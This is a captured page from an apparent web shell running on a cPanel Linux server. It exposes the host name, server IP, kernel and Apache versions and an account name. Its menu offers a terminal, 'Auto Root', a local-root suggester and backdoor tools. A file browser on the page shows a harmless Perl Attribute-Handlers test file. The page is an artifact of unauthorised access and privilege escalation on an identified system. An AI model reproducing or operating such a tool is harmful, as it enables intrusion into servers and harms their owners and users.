Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Attribute-Handlers /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
constants.t
241
B
-r--r--r--
2014-12-27 11:48
data_convert.t
955
B
-r--r--r--
2014-12-27 11:48
linerep.t
1.17
KB
-r--r--r--
2014-12-27 11:48
multi.t
5.11
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl -w # Test attribute data conversion using examples from the docs use Test::More tests => 8; package LoudDecl; use Attribute::Handlers; sub Loud :ATTR { my ($package, $symbol, $referent, $attr, $data, $phase) = @_; ::is_deeply( $data, $referent->(), *{$symbol}{NAME} ); } sub test1 :Loud(till=>ears=>are=>bleeding) { [qw(till ears are bleeding)] } sub test2 :Loud(['till','ears','are','bleeding']) { [[qw(till ears are bleeding)]] } sub test3 :Loud(qw/till ears are bleeding/) { [qw(till ears are bleeding)] } sub test4 :Loud(qw/my, ears, are, bleeding/) { [('my,', 'ears,', 'are,', 'bleeding')] } sub test5 :Loud(till,ears,are,bleeding) { [qw(till ears are bleeding)] } sub test6 :Loud(my,ears,are,bleeding) { 'my,ears,are,bleeding'; } sub test7 :Loud(qw/my ears are bleeding) { 'qw/my ears are bleeding'; #' } sub test8 :Loud("turn it up to 11, man!") { ['turn it up to 11, man!']; }